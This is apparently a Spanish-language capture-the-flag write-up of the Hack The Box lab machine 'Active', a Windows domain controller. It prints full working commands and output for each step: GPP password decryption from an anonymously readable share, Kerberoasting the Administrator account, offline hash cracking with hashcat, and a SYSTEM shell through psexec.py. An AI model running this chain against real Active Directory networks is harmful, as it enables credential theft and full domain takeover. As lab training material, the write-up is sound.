Active
Hack The Box — Metodología Detallada
Active
| IP: | 10.129.50.20 |
| OS: | Windows Server 2008 R2 SP1 |
| Dificultad: | Easy |
| Categoría: | Active Directory |
| Fecha: | 29 Ago 2026 |
Reconocimiento
Escaneo inicial de puertos
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.20 -oG allPorts
# Output
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5722/tcp open msdfsr syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio
active.htb. El puerto 47001 (WinRM alternativo) esta abierto, representando un vector de acceso remoto una vez obtenidas credenciales validas. SMB signing requerido descarta ataques de NTLM Relay contra este host.Escaneo de versiones
PORT STATE SERVICE
53/tcp open domain Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: active.htb)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows AD LDAP (Domain: active.htb)
3269/tcp open tcpwrapped
5985/tcp closed wsman
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows Server 2008 R2 SP1
El escaneo de versiones confirmo el dominio
active.htb y el hostname DC. El sistema operativo identificado es Windows 7 / Server 2008 R2 SP1, version antigua con mayor superficie de ataque. Se agrego active.htb y DC.active.htb al /etc/hosts.Enumeración de Active Directory
Enumeración sin credenciales
SMB anónimo — enumeración de usuarios
Se intentó enumerar usuarios del dominio mediante autenticación nula via SMB para obtener cuentas validas sin credenciales previas.
netexec smb 10.129.50.20 -u '' -p '' --users
DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC)
(domain:active.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.50.20 445 DC [+] active.htb\:
La autenticación nula no retornó usuarios. El DC tiene la enumeración de usuarios bloqueada para sesiones anonimas.
SMB anónimo — shares
Se enumeraron los recursos compartidos accesibles mediante autenticación nula para identificar shares sin protección que pudieran contener información sensible.
smbclient -L //10.129.50.20// -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Se identificaron 7 shares. Los shares por defecto de Windows (
ADMIN$, C$, IPC$, NETLOGON, SYSVOL) son esperados en un DC. Los shares Replication y Users no tienen descripcion estandar, lo que indica que no son shares por defecto del sistema operativo y requieren enumeracion adicional.Enumeración del share Users
Se intento acceder al share Users de forma anonima para verificar si contenia perfiles de usuario o archivos sensibles accesibles sin credenciales.
smbclient //10.129.50.20/Users/ -N
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
La autenticacion anonima no tiene permisos de lectura sobre este share. Vector descartado temporalmente hasta obtener credenciales.
Enumeración del share Replication
El share Replication no tiene descripcion estandar en el listado de shares, lo que indica que no es un share por defecto de Windows. Se enumero su contenido de forma anonima para identificar archivos de interes.
smbclient //10.129.50.20/Replication -N
Anonymous login successful
smb: \> ls
active.htb D 0 Sat Jul 21 10:37:44 2018
smb: \> cd active.htb\
smb: \active.htb\> ls
DfsrPrivate DHS 0 Sat Jul 21 10:37:44 2018
Policies D 0 Sat Jul 21 10:37:44 2018
scripts D 0 Wed Jul 18 18:48:57 2018
smb: \active.htb\> cd Policies\
smb: \active.htb\Policies\> cd {31B2F340-016D-11D2-945F-00C04FB984F9}\
smb: \...\> cd MACHINE\Preferences\Groups\
smb: \...\Groups\> ls
Groups.xml A 533 Wed Jul 18 20:46:06 2018
smb: \...\Groups\> get Groups.xml
En la ruta
Policies\{31B2F340...}\ MACHINE\Preferences\Groups\ se encontro el archivo Groups.xml, generado por Group Policy Preferences (GPP). Este archivo puede contener credenciales cifradas con AES-256, cuya clave maestra fue publicada por Microsoft en 2012, haciendo el cifrado trivialmente reversible.Descifrado de contraseña GPP
El archivo Groups.xml contiene el campo
cpassword correspondiente al usuario SVC_TGS. Este campo esta cifrado con AES-256, pero Microsoft publico la clave maestra en 2012, haciendo el cifrado trivialmente reversible con herramientas publicas.cat Groups.xml
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User name="active.htb\SVC_TGS" changed="2018-07-18 20:46:06">
<Properties
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+
ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"/>
</User>
</Groups>
Se identifico el usuario
SVC_TGS con credencial cifrada mediante Group Policy Preferences (GPP). Este mecanismo fue utilizado por administradores para distribuir credenciales via Group Policy, pero al publicarse la clave AES en 2012 quedo completamente comprometido.gpp-decrypt -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+
ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
[ * ] Password: GPPstillStandingStrong2k18
Vector confirmado: Credencial obtenida:
SVC_TGS:GPPstillStandingStrong2k18. Se procede a validar el acceso con estas credenciales.BloodHound — grafo del dominio
Con credenciales validas de
SVC_TGS se realizo un grafo del dominio con BloodHound para mapear rutas de escalada y comprobar si existe ACL abuse explotable.bloodhound-python -u SVC_TGS -p GPPstillStandingStrong2k18 \
-dc DC.active.htb -d active.htb -c All \
-ns 10.129.50.20
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 5 users
INFO: Found 41 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
Se encontraron 5 usuarios y 41 grupos en el dominio. Los datos fueron importados a BloodHound CE para analisis visual de rutas de ataque.
El analisis de BloodHound no revelo una cadena de escalada de privilegios explotable desde
SVC_TGS. Se procede a evaluar otros vectores como Kerberoasting.Explotación
Acceso al share Users con credenciales
Con credenciales validas de
SVC_TGS se volvio a intentar acceder al share Users, que habia sido denegado en la sesion anonima.smbclient //10.129.50.20/Users \
-U 'active.htb\SVC_TGS%GPPstillStandingStrong2k18'
smb: \> ls
Administrator D 0 Mon Jul 16 10:14:21 2018
SVC_TGS D 0 Sat Jul 21 15:16:32 2018
Public D 0 Tue Jul 14 04:57:55 2009
smb: \> cd SVC_TGS\Desktop\
smb: \SVC_TGS\Desktop\> ls
user.txt AR 34 Sat Aug 29 22:24:24 2026
smb: \SVC_TGS\Desktop\> get user.txt
cat user.txt
0f9f80ff********1c4e9b27
El share Users era accesible con credenciales validas. Se obtuvo la flag de usuario desde el escritorio de
SVC_TGS: 0f9f80ff********1c4e9b27.Kerberoasting — Administrator
Con credenciales validas de
SVC_TGS se evaluo si existian cuentas con SPNs registrados, condicion necesaria para Kerberoasting: el DC emite un TGS cifrado con el hash de la cuenta de servicio, que puede ser crackeado offline sin interaccion adicional.GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 \
-dc-ip 10.129.50.20
ServicePrincipalName Name MemberOf
-------------------- ------------- -------------------------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=...
La cuenta
Administrator tiene el SPN active/CIFS:445 registrado, lo que la convierte en objetivo de Kerberoasting. Que el Administrator tenga un SPN es una misconfiguracion critica: permite solicitar un TGS cifrado con su hash y crackearlo offline.GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 \
-dc-ip 10.129.50.20 -request -outputfile admin_hash.txt
ServicePrincipalName Name PasswordLastSet
-------------------- ------------- --------------------------
active/CIFS:445 Administrator 2018-07-18 19:06:40
[-] CCache file is not found. Skipping...
# Hash TGS guardado en admin_hash.txt
cat admin_hash.txt
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*
$ed207f0702b5f874e6e6d15cf5b297b5$[...hash truncado...]839e
El hash TGS obtenido esta cifrado con el hash NTLM del Administrator. Al ser tipo RC4 (etype 23), es susceptible a crackeo offline con diccionario.
hashcat -m 13100 admin_hash.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*
$ed207f0702b5f874e6e6d15cf5b297b5$[...hash truncado...]:Ticketmaster1968
Status: Cracked
Hash.Mode: 13100 (Kerberos 5, etype 23, TGS-REP)
Vector confirmado: Hash TGS del Administrator crackeado exitosamente. Credencial obtenida:
Administrator:Ticketmaster1968. Se procede a obtener acceso al DC.Escalada de Privilegios
Acceso como SYSTEM via psexec.py
Con la contraseña del Administrator obtenida del crackeo del hash TGS, se utilizo
psexec.py para obtener ejecucion remota de comandos en el DC. psexec sube un ejecutable temporal al share ADMIN$ y lo invoca via el Service Control Manager, resultando en una shell como nt authority\system.psexec.py active.htb/Administrator:[email protected]
[*] Found writable share ADMIN$
[*] Uploading file EoSElBCP.exe
[*] Opening SVCManager on 10.129.50.20.....
[*] Creating service AIVf on 10.129.50.20.....
[*] Starting service AIVf.....
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
0bd5bb29c0371c10fbb696f41f0b0de6
Vector confirmado: Acceso obtenido como
nt authority\system en el DC via psexec.py. Flag de root: 0bd5bb29********f41f0b0de6. El dominio active.htb ha sido completamente comprometido.Reflexión Final
Qué salió bien
-
La enumeracion de shares anonimos fue sistematica e identifico rapidamente Replication como el vector de entrada sin necesidad de herramientas automatizadas.
-
Se navego correctamente la estructura de carpetas GPO hasta encontrar
Groups.xmly se identifico el campocpasswordcomo credencial cifrada con GPP. -
El Kerberoasting fue ejecutado en dos pasos ordenados: primero identificar cuentas vulnerables, luego solicitar el hash. El crackeo fue inmediato con rockyou.txt.
Qué salió mal
-
Se intento acceder a shares con el nombre de usuario incorrecto (
SVC-TGScon guion medio en lugar deSVC_TGScon guion bajo), lo que causo fallos en la autenticacion Kerberos al ejecutar bloodhound-python. -
La navegacion manual del share SMB carpeta por carpeta consumio tiempo innecesario. Usar
mget *recursivo desde el inicio habria sido mas eficiente.
Lecciones aprendidas
-
GPP Credentials (MS14-025): Group Policy Preferences almacenaba credenciales cifradas con AES-256 en archivos XML accesibles via SYSVOL. Microsoft publico la clave en 2012 y la vulnerabilidad fue parcheada en 2014, pero entornos antiguos como Windows Server 2008 R2 siguen siendo vulnerables. El archivo
Groups.xmlen la rutaSYSVOL\Policies\{GUID}\ MACHINE\Preferences\Groups\es el primer lugar a revisar en un DC de esta era. -
Kerberoasting contra Administrator: tener al Administrator con un SPN registrado es una misconfiguracion critica. Cualquier usuario de dominio puede solicitar el TGS y crackearlo offline sin alertar al DC.
-
Los shares SMB sin descripcion estandar como Replication siempre merecen enumeracion — en este caso contenia una copia del SYSVOL accesible de forma anonima.
-
En Windows los comandos son
dir,typeycd— nols,catnipwd.
Tiempo total
Aproximadamente 50 minutos.